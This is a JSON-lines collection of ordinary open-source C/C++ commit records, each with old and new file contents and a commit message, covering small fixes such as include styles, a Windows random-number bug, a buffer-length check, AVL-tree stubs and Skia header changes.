{"commit":"6eb05c90ea2a1e6068c843bfef2f034a270310bd","old_file":"serialization\/include\/SerializationToStream.h","new_file":"serialization\/include\/SerializationToStream.h","old_contents":"\/\/\/ \\file\n\/\/\/ \\brief This header contains functionality needed for serializing and deserealizing to\/from a stream\n#pragma once\n\n#include <ISerializable.h>\n#include <IStorage.h>\n\n#include <iostream>\n\n\/\/\/ Contains all the functionality provided by the library.\nnamespace simpson\n{\n\n\/\/\/ Serialize object to ostream\nstd::ostream& operator<<(std::ostream& outStream, simpson::ISerializable& obj);\n\/\/\/ Deserialize object from istream\nstd::istream& operator>>(std::istream& inStream, simpson::ISerializable* obj);\n\n} \/\/ simpson\n","new_contents":"\/\/\/ \\file\n\/\/\/ \\brief This header contains functionality needed for serializing and deserealizing to\/from a stream\n#pragma once\n\n#include \"ISerializable.h\"\n#include \"IStorage.h\"\n\n#include <iostream>\n\n\/\/\/ Contains all the functionality provided by the library.\nnamespace simpson\n{\n\n\/\/\/ Serialize object to ostream\nstd::ostream& operator<<(std::ostream& outStream, simpson::ISerializable& obj);\n\/\/\/ Deserialize object from istream\nstd::istream& operator>>(std::istream& inStream, simpson::ISerializable* obj);\n\n} \/\/ simpson\n","subject":"Replace include <> with \"\"","message":"Replace include <> with \"\"\n","lang":"C","license":"mit","repos":"artem-ogre\/simpson,artem-ogre\/simpson"}
{"commit":"f96ca22026ed189f63adc723daff443ff8562ba3","old_file":"src\/common\/const.h","new_file":"src\/common\/const.h","old_contents":"#ifndef CONST_H\n#define CONST_H\n\n#include <cmath>\n#include <cstdlib>\n\ntypedef unsigned long long uint64;\n\nnamespace Const\n{\nconstexpr int HASH_BASE = 31415927;\n\nconstexpr double EPS = 1e-6;\nconstexpr double PI = M_PI;\n\ninline int randUInt()\n{\n#ifdef _WIN32\n    return (rand() << 15) | rand();\n#else\n    return rand();\n#endif\n}\n\ninline uint64 randUInt64()\n{\n#ifdef _WIN32\n    return (((((1ll * rand() << 15) | rand()) << 15) | rand()) << 15) | rand();\n#else\n    return (1ll * rand() << 31) | rand();\n#endif\n}\n\ninline double randDouble()\n{\n#ifdef _WIN32\n    return 1.0 * randUInt() \/ (1 << 20);\n#else\n    return 1.0 * rand() \/ RAND_MAX;\n#endif\n}\n}\n\n#endif \/\/ CONST_H\n","new_contents":"#ifndef CONST_H\n#define CONST_H\n\n#include <cmath>\n#include <cstdlib>\n\ntypedef unsigned long long uint64;\n\nnamespace Const\n{\nconstexpr int HASH_BASE = 31415927;\n\nconstexpr double EPS = 1e-6;\nconstexpr double PI = M_PI;\n\ninline int randUInt()\n{\n#ifdef _WIN32\n    return (rand() << 15) | rand();\n#else\n    return rand();\n#endif\n}\n\ninline uint64 randUInt64()\n{\n#ifdef _WIN32\n    return (((((1ll * rand() << 15) | rand()) << 15) | rand()) << 15) | rand();\n#else\n    return (1ll * rand() << 31) | rand();\n#endif\n}\n\ninline double randDouble()\n{\n#ifdef _WIN32\n    return 1.0 * randUInt() \/ (1 << 30);\n#else\n    return 1.0 * rand() \/ RAND_MAX;\n#endif\n}\n} \/\/ namespace Const\n\n#endif \/\/ CONST_H\n","subject":"Fix randDouble() bug on windows","message":"Fix randDouble() bug on windows\n","lang":"C","license":"mit","repos":"equation314\/3DRender"}
{"commit":"456c867d363840b3ab0f16dee605bdccf35130c1","old_file":"src\/modules\/inputpayload.c","new_file":"src\/modules\/inputpayload.c","old_contents":"\/\/ Copyright (c) 2016 Brian Barto\n\/\/\n\/\/ This program is free software; you can redistribute it and\/or modify it\n\/\/ under the terms of the MIT License. See LICENSE for more details.\n\n#include <string.h>\n#include \"config.h\"\n\n\/\/ Static Variables\nstatic char payload[PAYLOAD_SIZE + 1];\n\nvoid inputpayload_init(void) {\n\tmemset(payload, 0, sizeof(PAYLOAD_SIZE + 1));\n}\n\nvoid inputpayload_set(char *data) {\n\tstrncpy(payload, data, PAYLOAD_SIZE);\n}\n\nchar *inputpayload_get(void) {\n\treturn payload;\n}\n\nvoid inputpayload_parse(char *data) {\n\tstrncpy(payload, data + COMMAND_SIZE, PAYLOAD_SIZE);\n}\n","new_contents":"\/\/ Copyright (c) 2016 Brian Barto\n\/\/\n\/\/ This program is free software; you can redistribute it and\/or modify it\n\/\/ under the terms of the MIT License. See LICENSE for more details.\n\n#include <string.h>\n#include \"config.h\"\n\n\/\/ Static Variables\nstatic char payload[PAYLOAD_SIZE + 1];\n\nvoid inputpayload_init(void) {\n\tmemset(payload, 0, sizeof(PAYLOAD_SIZE + 1));\n}\n\nvoid inputpayload_set(char *data) {\n\tstrncpy(payload, data, PAYLOAD_SIZE);\n}\n\nchar *inputpayload_get(void) {\n\treturn payload;\n}\n\nvoid inputpayload_parse(char *data) {\n\tif (strlen(data) > COMMAND_SIZE)\n\t\tstrncpy(payload, data + COMMAND_SIZE, PAYLOAD_SIZE);\n\telse\n\t\tmemset(payload, 0, sizeof(PAYLOAD_SIZE + 1));\n}\n","subject":"Make sure we don't increment data array past it's length when parsing payload","message":"Make sure we don't increment data array past it's length when parsing payload\n\n\tmodified:   src\/modules\/inputpayload.c\n","lang":"C","license":"mit","repos":"bartobri\/spring-server,bartobri\/spring-server"}
{"commit":"a9437115ceb0307d8481cbc36ed8dc66d2ebc38b","old_file":"mbc.c","new_file":"mbc.c","old_contents":"#include \"gameboy.h\"\n#include \"memory.h\"\n\nu8 select_rom_bank(u8 value)\n{\n\tu8 ret = value & 0x1F;\n\tswitch (mode) {\n\tcase ROM:\n\t\tbreak;\n\tcase MBC1:\n\t\tswitch (ret) {\n\t\tcase 0:\n\t\tcase 0x20:\n\t\tcase 0x40:\n\t\tcase 0x60:\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tret -= 1;\n\t\t}\n\t}\n\n\treturn ret;\n}\n\nu8 select_ram_bank(u8 value)\n{\n\treturn (value & 0x03);\n}\n\nu8 enable_ram(u8 value)\n{\n\tu8 ram_enable;\n\n\tram_enable = ((value & 0x0A) != 0x0A) ? 0 : 1;\n\n\treturn ram_enable;\n}\n","new_contents":"#include \"gameboy.h\"\n#include \"memory.h\"\n\nu8 select_rom_bank(u8 value)\n{\n\tu8 ret = value & 0x1F;\n\tswitch (mode) {\n\tcase ROM:\n\t\tbreak;\n\tcase MBC1:\n\t\tswitch (ret) {\n\t\tcase 0:\n\t\tcase 0x20:\n\t\tcase 0x40:\n\t\tcase 0x60:\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tret -= 1;\n\t\t}\n\t}\n\n\treturn ret;\n}\n\nu8 select_ram_bank(u8 value)\n{\n\treturn (value & 0x03);\n}\n\nu8 enable_ram(u8 value)\n{\n\treturn ((value & 0x0A) != 0x0A) ? 0 : 1;\n}\n","subject":"Simplify return of ram_enable value","message":"Simplify return of ram_enable value\n","lang":"C","license":"mit","repos":"hoferm\/tmpgb,hoferm\/tmpgb"}
{"commit":"3477224c610dda33070204ec8c12e82a5fac6145","old_file":"test\/Driver\/darwin-debug-flags.c","new_file":"test\/Driver\/darwin-debug-flags.c","old_contents":"\/\/ RUN: env RC_DEBUG_OPTIONS=1 %clang -ccc-host-triple i386-apple-darwin9 -g -Os %s  -emit-llvm -S -o - | FileCheck %s\n\/\/ <rdar:\/\/problem\/7256886>\n\n\/\/ CHECK: !1 = metadata !{\n\/\/ CHECK: -g -Os\n\/\/ CHECK: -mmacosx-version-min=10.5.0\n\/\/ CHECK: [ DW_TAG_compile_unit ]\n\nint x;\n","new_contents":"\/\/ RUN: env RC_DEBUG_OPTIONS=1 %clang -ccc-host-triple i386-apple-darwin9 -g -Os %s  -emit-llvm -S -o - | FileCheck %s\n\/\/ <rdar:\/\/problem\/7256886>\n\n\/\/ CHECK: !0 = metadata !{\n\/\/ CHECK: -g -Os\n\/\/ CHECK: -mmacosx-version-min=10.5.0\n\/\/ CHECK: [ DW_TAG_compile_unit ]\n\nint x;\n","subject":"Update metadata id number in string compare check.","message":"Update metadata id number in string compare check.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@130757 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"a7f816abada5d06054966b209bcba69708854e77","old_file":"include\/parrot\/global_setup.h","new_file":"include\/parrot\/global_setup.h","old_contents":"\/* global_setup.h\n *  Copyright: (When this is determined...it will go here)\n *  CVS Info\n *     $Id$\n *  Overview:\n *      Contains declarations of global data and the functions\n *      that initialize that data.\n *  Data Structure and Algorithms:\n *  History:\n *  Notes:\n *  References:\n *\/\n\n#if !defined(PARROT_GLOBAL_SETUP_H_GUARD)\n#define PARROT_GLOBAL_SETUP_H_GUARD\n\n#include \"parrot\/config.h\"\n\n\/* Needed because this might get compiled before pmcs have been built *\/\nvoid Parrot_PerlUndef_class_init(INTVAL);\nvoid Parrot_PerlInt_class_init(INTVAL);\nvoid Parrot_PerlNum_class_init(INTVAL);\nvoid Parrot_PerlString_class_init(INTVAL);\nvoid Parrot_PerlArray_class_init(INTVAL);\nvoid Parrot_PerlHash_class_init(INTVAL);\nvoid Parrot_ParrotPointer_class_init(INTVAL);\nvoid Parrot_IntQueue_class_init(INTVAL);\n\nvoid\ninit_world(void);\n\n#endif\n\n\/*\n * Local variables:\n * c-indentation-style: bsd\n * c-basic-offset: 4\n * indent-tabs-mode: nil \n * End:\n *\n * vim: expandtab shiftwidth=4:\n*\/\n","new_contents":"\/* global_setup.h\n *  Copyright: (When this is determined...it will go here)\n *  CVS Info\n *     $Id$\n *  Overview:\n *      Contains declarations of global data and the functions\n *      that initialize that data.\n *  Data Structure and Algorithms:\n *  History:\n *  Notes:\n *  References:\n *\/\n\n#if !defined(PARROT_GLOBAL_SETUP_H_GUARD)\n#define PARROT_GLOBAL_SETUP_H_GUARD\n\n#include \"parrot\/config.h\"\n\n\/* Needed because this might get compiled before pmcs have been built *\/\nvoid Parrot_PerlUndef_class_init(INTVAL);\nvoid Parrot_PerlInt_class_init(INTVAL);\nvoid Parrot_PerlNum_class_init(INTVAL);\nvoid Parrot_PerlString_class_init(INTVAL);\nvoid Parrot_Array_class_init(INTVAL);\nvoid Parrot_PerlArray_class_init(INTVAL);\nvoid Parrot_PerlHash_class_init(INTVAL);\nvoid Parrot_ParrotPointer_class_init(INTVAL);\nvoid Parrot_IntQueue_class_init(INTVAL);\n\nvoid\ninit_world(void);\n\n#endif\n\n\/*\n * Local variables:\n * c-indentation-style: bsd\n * c-basic-offset: 4\n * indent-tabs-mode: nil \n * End:\n *\n * vim: expandtab shiftwidth=4:\n*\/\n","subject":"Patch from Jonathan Stowe to prototype Parrot_Array_class_init","message":"Patch from Jonathan Stowe to prototype Parrot_Array_class_init\n\n\ngit-svn-id: 6e74a02f85675cec270f5d931b0f6998666294a3@980 d31e2699-5ff4-0310-a27c-f18f2fbe73fe\n","lang":"C","license":"artistic-2.0","repos":"FROGGS\/parrot,tewk\/parrot-select,tkob\/parrot,FROGGS\/parrot,parrot\/parrot,youprofit\/parrot,youprofit\/parrot,gagern\/parrot,tewk\/parrot-select,tewk\/parrot-select,FROGGS\/parrot,tkob\/parrot,fernandobrito\/parrot,gagern\/parrot,fernandobrito\/parrot,fernandobrito\/parrot,gitster\/parrot,parrot\/parrot,tkob\/parrot,parrot\/parrot,fernandobrito\/parrot,FROGGS\/parrot,tkob\/parrot,FROGGS\/parrot,tewk\/parrot-select,youprofit\/parrot,gagern\/parrot,gagern\/parrot,youprofit\/parrot,youprofit\/parrot,gagern\/parrot,parrot\/parrot,gitster\/parrot,gitster\/parrot,youprofit\/parrot,FROGGS\/parrot,gitster\/parrot,tkob\/parrot,youprofit\/parrot,FROGGS\/parrot,tkob\/parrot,gagern\/parrot,tewk\/parrot-select,tkob\/parrot,FROGGS\/parrot,tewk\/parrot-select,fernandobrito\/parrot,gagern\/parrot,fernandobrito\/parrot,fernandobrito\/parrot,tkob\/parrot,gitster\/parrot,tewk\/parrot-select,gitster\/parrot,parrot\/parrot,youprofit\/parrot,gitster\/parrot"}
{"commit":"cfdeb127608ca2501d6e465fd189f6b8a21c1ad1","old_file":"include\/parrot\/global_setup.h","new_file":"include\/parrot\/global_setup.h","old_contents":"\/* global_setup.h\n *  Copyright: (When this is determined...it will go here)\n *  CVS Info\n *     $Id$\n *  Overview:\n *      Contains declarations of global data and the functions\n *      that initialize that data.\n *  Data Structure and Algorithms:\n *  History:\n *  Notes:\n *  References:\n *\/\n\n#if !defined(PARROT_GLOBAL_SETUP_H_GUARD)\n#define PARROT_GLOBAL_SETUP_H_GUARD\n\n#include \"parrot\/config.h\"\n\n\/* Needed because this might get compiled before pmcs have been built *\/\nvoid Parrot_PerlUndef_class_init(INTVAL);\nvoid Parrot_PerlInt_class_init(INTVAL);\nvoid Parrot_PerlNum_class_init(INTVAL);\nvoid Parrot_PerlString_class_init(INTVAL);\nvoid Parrot_PerlArray_class_init(INTVAL);\nvoid Parrot_PerlHash_class_init(INTVAL);\nvoid Parrot_ParrotPointer_class_init(INTVAL);\nvoid Parrot_IntQueue_class_init(INTVAL);\n\nvoid\ninit_world(void);\n\n#endif\n\n\/*\n * Local variables:\n * c-indentation-style: bsd\n * c-basic-offset: 4\n * indent-tabs-mode: nil \n * End:\n *\n * vim: expandtab shiftwidth=4:\n*\/\n","new_contents":"\/* global_setup.h\n *  Copyright: (When this is determined...it will go here)\n *  CVS Info\n *     $Id$\n *  Overview:\n *      Contains declarations of global data and the functions\n *      that initialize that data.\n *  Data Structure and Algorithms:\n *  History:\n *  Notes:\n *  References:\n *\/\n\n#if !defined(PARROT_GLOBAL_SETUP_H_GUARD)\n#define PARROT_GLOBAL_SETUP_H_GUARD\n\n#include \"parrot\/config.h\"\n\n\/* Needed because this might get compiled before pmcs have been built *\/\nvoid Parrot_PerlUndef_class_init(INTVAL);\nvoid Parrot_PerlInt_class_init(INTVAL);\nvoid Parrot_PerlNum_class_init(INTVAL);\nvoid Parrot_PerlString_class_init(INTVAL);\nvoid Parrot_Array_class_init(INTVAL);\nvoid Parrot_PerlArray_class_init(INTVAL);\nvoid Parrot_PerlHash_class_init(INTVAL);\nvoid Parrot_ParrotPointer_class_init(INTVAL);\nvoid Parrot_IntQueue_class_init(INTVAL);\n\nvoid\ninit_world(void);\n\n#endif\n\n\/*\n * Local variables:\n * c-indentation-style: bsd\n * c-basic-offset: 4\n * indent-tabs-mode: nil \n * End:\n *\n * vim: expandtab shiftwidth=4:\n*\/\n","subject":"Patch from Jonathan Stowe to prototype Parrot_Array_class_init","message":"Patch from Jonathan Stowe to prototype Parrot_Array_class_init\n\n\ngit-svn-id: 6e74a02f85675cec270f5d931b0f6998666294a3@980 d31e2699-5ff4-0310-a27c-f18f2fbe73fe\n","lang":"C","license":"artistic-2.0","repos":"ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot,ashgti\/parrot"}
{"commit":"afdd36bc1c540183ebbcc984bc1a9a33e1d44e40","old_file":"src\/qt\/bitcoinaddressvalidator.h","new_file":"src\/qt\/bitcoinaddressvalidator.h","old_contents":"#ifndef BITCOINADDRESSVALIDATOR_H\n#define BITCOINADDRESSVALIDATOR_H\n\n#include <QValidator>\n\n\/** Base48 entry widget validator.\n   Corrects near-miss characters and refuses characters that are no part of base48.\n *\/\nclass BitcoinAddressValidator : public QValidator\n{\n    Q_OBJECT\n\npublic:\n    explicit BitcoinAddressValidator(QObject *parent = 0);\n\n    State validate(QString &input, int &pos) const;\n\n    static const int MaxAddressLength = 35;\n};\n\n#endif \/\/ BITCOINADDRESSVALIDATOR_H\n","new_contents":"#ifndef BITCOINADDRESSVALIDATOR_H\n#define BITCOINADDRESSVALIDATOR_H\n\n#include <QValidator>\n\n\/** Base58 entry widget validator.\n   Corrects near-miss characters and refuses characters that are not part of base58.\n *\/\nclass BitcoinAddressValidator : public QValidator\n{\n    Q_OBJECT\n\npublic:\n    explicit BitcoinAddressValidator(QObject *parent = 0);\n\n    State validate(QString &input, int &pos) const;\n\n    static const int MaxAddressLength = 35;\n};\n\n#endif \/\/ BITCOINADDRESSVALIDATOR_H\n","subject":"Fix typo in a comment: it's base58, not base48.","message":"Fix typo in a comment: it's base58, not base48.\n","lang":"C","license":"mit","repos":"reddink\/reddcoin,reddink\/reddcoin,ahmedbodi\/poscoin,bmp02050\/ReddcoinUpdates,Cannacoin-Project\/Cannacoin,ahmedbodi\/poscoin,coinkeeper\/2015-06-22_19-10_cannacoin,joroob\/reddcoin,coinkeeper\/2015-06-22_19-10_cannacoin,coinkeeper\/2015-06-22_18-46_reddcoin,joroob\/reddcoin,bmp02050\/ReddcoinUpdates,Cannacoin-Project\/Cannacoin,joroob\/reddcoin,reddink\/reddcoin,reddcoin-project\/reddcoin,Cannacoin-Project\/Cannacoin,coinkeeper\/2015-06-22_18-46_reddcoin,reddcoin-project\/reddcoin,coinkeeper\/2015-06-22_18-46_reddcoin,coinkeeper\/2015-06-22_19-10_cannacoin,coinkeeper\/2015-06-22_19-10_cannacoin,Cannacoin-Project\/Cannacoin,reddcoin-project\/reddcoin,bmp02050\/ReddcoinUpdates,bmp02050\/ReddcoinUpdates,Cannacoin-Project\/Cannacoin,coinkeeper\/2015-06-22_18-46_reddcoin,ahmedbodi\/poscoin,ahmedbodi\/poscoin,coinkeeper\/2015-06-22_18-46_reddcoin,reddcoin-project\/reddcoin,reddcoin-project\/reddcoin,reddink\/reddcoin,reddink\/reddcoin,bmp02050\/ReddcoinUpdates,coinkeeper\/2015-06-22_19-10_cannacoin,reddcoin-project\/reddcoin,joroob\/reddcoin,joroob\/reddcoin,ahmedbodi\/poscoin"}
{"commit":"e5c567cf5f089755a140df9fa8368f260acd250f","old_file":"swichCaseExample.c","new_file":"swichCaseExample.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <math.h>\n\nint main()\n{\n    int userInput = 0;\n    unsigned long number = 0;\n    while(1)\n    {\n        printf(\"Please enter a number between 1 and 6:\");\n        scanf(\"%d\", &userInput);\n        unsigned long incrementor = 0;\n        switch(userInput)\n        {\n        case 1:\n            incrementor += 5;\n            break;\n        case 2:\n            incrementor += 9;\n            break;\n        case 3:\n            incrementor += 18;\n            break;\n        case 4:\n            incrementor += 34;\n            break;\n        case 5:\n            incrementor += 59;\n            break;\n        case 6:\n            incrementor += 95;\n            break;\n        default:\n            printf(\"You have inputed incorrect number!\\n\");\n        }\n        number += incrementor;\n        printf(\"Current number : %d \\n\", number);\n    }\n    return 0;\n}\n","subject":"Make a program that is incrementing a variable with number based on user input using the following data: If user inputs - increments with : 1 - 5 2 - 9 3 - 18 4 - 34 5 - 59 6 - 95","message":"Make a program that is incrementing a variable with number based\non user input using the following data:\nIf user inputs - increments with :\n1 - 5\n2 - 9\n3 - 18\n4 - 34\n5 - 59\n6 - 95\n","lang":"C","license":"mit","repos":"Lyuboo\/C-Exercises-SoftUni"}
{"commit":"f6819004e0e04193dfab17b636f266a0f36c2e17","old_file":"libcef_dll\/cef_macros.h","new_file":"libcef_dll\/cef_macros.h","old_contents":"\/\/ Copyright (c) 2014 The Chromium Embedded Framework Authors. All rights\n\/\/ reserved. Use of this source code is governed by a BSD-style license that\n\/\/ can be found in the LICENSE file.\n\n#ifndef CEF_LIBCEF_DLL_CEF_MACROS_H_\n#define CEF_LIBCEF_DLL_CEF_MACROS_H_\n#pragma once\n\n#ifdef BUILDING_CEF_SHARED\n#include \"base\/macros.h\"\n#else  \/\/ !BUILDING_CEF_SHARED\n\n\/\/ A macro to disallow the copy constructor and operator= functions\n\/\/ This should be used in the private: declarations for a class\n#define DISALLOW_COPY_AND_ASSIGN(TypeName) \\\n  TypeName(const TypeName&);               \\\n  void operator=(const TypeName&)\n\n#endif  \/\/ !BUILDING_CEF_SHARED\n\n#endif  \/\/ CEF_LIBCEF_DLL_CEF_MACROS_H_\n\/\/ Copyright (c) 2014 The Chromium Embedded Framework Authors. All rights\n\/\/ reserved. Use of this source code is governed by a BSD-style license that\n\/\/ can be found in the LICENSE file.\n\n#ifndef CEF_LIBCEF_DLL_CEF_MACROS_H_\n#define CEF_LIBCEF_DLL_CEF_MACROS_H_\n#pragma once\n\n#ifdef BUILDING_CEF_SHARED\n#include \"base\/macros.h\"\n#else  \/\/ !BUILDING_CEF_SHARED\n\n\/\/ A macro to disallow the copy constructor and operator= functions\n\/\/ This should be used in the private: declarations for a class\n#define DISALLOW_COPY_AND_ASSIGN(TypeName) \\\n  TypeName(const TypeName&);               \\\n  void operator=(const TypeName&)\n\n#endif  \/\/ !BUILDING_CEF_SHARED\n\n#endif  \/\/ CEF_LIBCEF_DLL_CEF_MACROS_H_\n","new_contents":"\/\/ Copyright (c) 2014 The Chromium Embedded Framework Authors. All rights\n\/\/ reserved. Use of this source code is governed by a BSD-style license that\n\/\/ can be found in the LICENSE file.\n\n#ifndef CEF_LIBCEF_DLL_CEF_MACROS_H_\n#define CEF_LIBCEF_DLL_CEF_MACROS_H_\n#pragma once\n\n#ifdef BUILDING_CEF_SHARED\n#include \"base\/macros.h\"\n#else  \/\/ !BUILDING_CEF_SHARED\n\n\/\/ A macro to disallow the copy constructor and operator= functions\n\/\/ This should be used in the private: declarations for a class\n#define DISALLOW_COPY_AND_ASSIGN(TypeName) \\\n  TypeName(const TypeName&);               \\\n  void operator=(const TypeName&)\n\n#endif  \/\/ !BUILDING_CEF_SHARED\n\n#endif  \/\/ CEF_LIBCEF_DLL_CEF_MACROS_H_\n","subject":"Remove duplicate content in file.","message":"Remove duplicate content in file.\n\ngit-svn-id: 07c9500005b9a5ecd02aa6a59d3db90a097b7e72@1734 5089003a-bbd8-11dd-ad1f-f1f9622dbc98\n","lang":"C","license":"bsd-3-clause","repos":"zmike\/cef-rebase,zmike\/cef-rebase,zmike\/cef-rebase,bkeiren\/cef,bkeiren\/cef,bkeiren\/cef,bkeiren\/cef,zmike\/cef-rebase,bkeiren\/cef,zmike\/cef-rebase"}
{"commit":"28b95d48a51e8cfb1c3807b7fb175c4b89dbbf67","old_file":"src\/libreset\/avl.c","new_file":"src\/libreset\/avl.c","old_contents":"#include <stdlib.h>\n\n#include \"avl.h\"\n\n\n\/*\n *\n *\n * forward declarations\n *\n *\n *\/\n\nstatic void\ndestroy_subtree(\n    struct avl_el* node \/\/!< A node to destroy\n);\n\n\n\/*\n *\n *\n * interface implementation\n *\n *\n *\/\n\nstruct avl*\navl_alloc(void) {\n    return calloc(1, sizeof(struct avl));\n}\n\nint\navl_destroy(\n    struct avl* avl \/\/!< The avl tree\n) {\n    if (avl && avl->root) {\n        destroy_subtree(avl->root);\n    }\n    free(avl);\n    return 1;\n}\n\n\n\/*\n *\n *\n * implementation of internal functions\n *\n *\n *\/\n\nstatic void\ndestroy_subtree(\n    struct avl_el* node \/\/!< A node to destroy\n) {\n    if (node->l) {\n        destroy_subtree(node->l);\n    }\n    if (node->r) {\n        destroy_subtree(node->r);\n    }\n\n    free(node);\n}\n\n","new_contents":"#include <stdlib.h>\n\n#include \"avl.h\"\n\n\n\/*\n *\n *\n * forward declarations\n *\n *\n *\/\n\nstatic void\ndestroy_subtree(\n    struct avl_el* node \/\/!< A node to destroy\n);\n\n\/**\n * Rotate a node counter-clockwise\n *\n * @return new root or NULL, if the rotation could not be performed\n *\/\nstatic struct avl_el*\nrotate_left(\n    struct avl_el* node \/\/!< The node to rotate\n);\n\n\/**\n * Rotate a node clockwise\n *\n * @return new root or NULL, if the rotation could not be performed\n *\/\nstatic struct avl_el*\nrotate_right(\n    struct avl_el* node \/\/!< The node to rotate\n);\n\n\n\/*\n *\n *\n * interface implementation\n *\n *\n *\/\n\nstruct avl*\navl_alloc(void) {\n    return calloc(1, sizeof(struct avl));\n}\n\nint\navl_destroy(\n    struct avl* avl \/\/!< The avl tree\n) {\n    if (avl && avl->root) {\n        destroy_subtree(avl->root);\n    }\n    free(avl);\n    return 1;\n}\n\n\n\/*\n *\n *\n * implementation of internal functions\n *\n *\n *\/\n\nstatic void\ndestroy_subtree(\n    struct avl_el* node \/\/!< A node to destroy\n) {\n    if (node->l) {\n        destroy_subtree(node->l);\n    }\n    if (node->r) {\n        destroy_subtree(node->r);\n    }\n\n    free(node);\n}\n\nstatic struct avl_el*\nrotate_left(\n    struct avl_el* node\n) {\n    return 0;\n}\n\nstatic struct avl_el*\nrotate_right(\n    struct avl_el* node\n) {\n    return 0;\n}\n","subject":"Add declaration and stubs for rotations","message":"Add declaration and stubs for rotations\n","lang":"C","license":"lgpl-2.1","repos":"waysome\/libreset,waysome\/libreset"}
{"commit":"4c26a927a6e0c1669a18d999a3a6dd7897c21f8c","old_file":"include\/private\/chromium\/GrSlug.h","new_file":"include\/private\/chromium\/GrSlug.h","old_contents":"\/*\n * Copyright 2021 Google LLC\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef GrSlug_DEFINED\n#define GrSlug_DEFINED\n\n#include \"include\/private\/chromium\/Slug.h\"\n\n\/\/ TODO: Update Chrome to use sktext::gpu classes and remove these\nusing GrTextReferenceFrame = sktext::gpu::TextReferenceFrame;\nusing GrSlug = sktext::gpu::Slug;\n\n#endif  \/\/ GrSlug_DEFINED\n","new_contents":"\/*\n * Copyright 2021 Google LLC\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef GrSlug_DEFINED\n#define GrSlug_DEFINED\n\n#include \"include\/private\/chromium\/Slug.h\"\n\n\/\/ TODO: Update Chrome to use sktext::gpu classes and remove these\nusing GrSlug = sktext::gpu::Slug;\n\n#endif  \/\/ GrSlug_DEFINED\n","subject":"Fix compile error on chrome bots","message":"Fix compile error on chrome bots\n\nChange-Id: Ie1d94106a741a9cc51dfd13813f143374392489a\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/543516\nCommit-Queue: Herb Derby <9e12a3d2bbf73546e47cc9958f6ba8f3215b7eaf@google.com>\nReviewed-by: Greg Daniel <39df0a804564ccb6cf75f18db79653821f37c1c5@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia"}
{"commit":"3fa56b322acd1fc722124f349d155fc29d8500cc","old_file":"src\/opts\/SkBlitRow_opts_SSE4.h","new_file":"src\/opts\/SkBlitRow_opts_SSE4.h","old_contents":"\/*\n * Copyright 2014 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkBlitRow_opts_SSE4_DEFINED\n#define SkBlitRow_opts_SSE4_DEFINED\n\n#include \"SkBlitRow.h\"\n\n\/* Check if we are able to build assembly code, GCC\/AT&T syntax.\n * Had problems with LLVM-GCC 4.2.\n * MemorySanitizer cannot handle assembly code.\n *\/\n#if (defined(__clang__) || (defined(__GNUC__) && !defined(SK_BUILD_FOR_MAC))) \\\n    && !defined(MEMORY_SANITIZER)\nextern \"C\" void S32A_Opaque_BlitRow32_SSE4_asm(SkPMColor* SK_RESTRICT dst,\n                                               const SkPMColor* SK_RESTRICT src,\n                                               int count, U8CPU alpha);\n\n#define SK_ATT_ASM_SUPPORTED\n#endif\n\n#endif\n\n","new_contents":"\/*\n * Copyright 2014 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkBlitRow_opts_SSE4_DEFINED\n#define SkBlitRow_opts_SSE4_DEFINED\n\n#include \"SkBlitRow.h\"\n\n\/* Check if we are able to build assembly code, GCC\/AT&T syntax:\n *  1) Clang and GCC are generally OK.  OS X's old LLVM-GCC 4.2 can't handle it;\n *  2) We're intentionally not linking this in even when supported (Clang) on Windows;\n *  3) MemorySanitizer cannot instrument assembly at all.\n *\/\n#if \/* 1)*\/ (defined(__clang__) || (defined(__GNUC__) && !defined(SK_BUILD_FOR_MAC))) \\\n    \/* 2)*\/ && !defined(SK_BUILD_FOR_WIN)                                             \\\n    \/* 3)*\/ && !defined(MEMORY_SANITIZER)\nextern \"C\" void S32A_Opaque_BlitRow32_SSE4_asm(SkPMColor* SK_RESTRICT dst,\n                                               const SkPMColor* SK_RESTRICT src,\n                                               int count, U8CPU alpha);\n\n#define SK_ATT_ASM_SUPPORTED\n#endif\n\n#endif\n\n","subject":"Exclude Clang on Windows too. Comment this up a bit.","message":"Exclude Clang on Windows too.  Comment this up a bit.\n\nBUG=391016\nR=tomhudson@chromium.org, mtklein@google.com, rnk@chromium.org, thakis@chromium.org\n\nAuthor: mtklein@chromium.org\n\nReview URL: 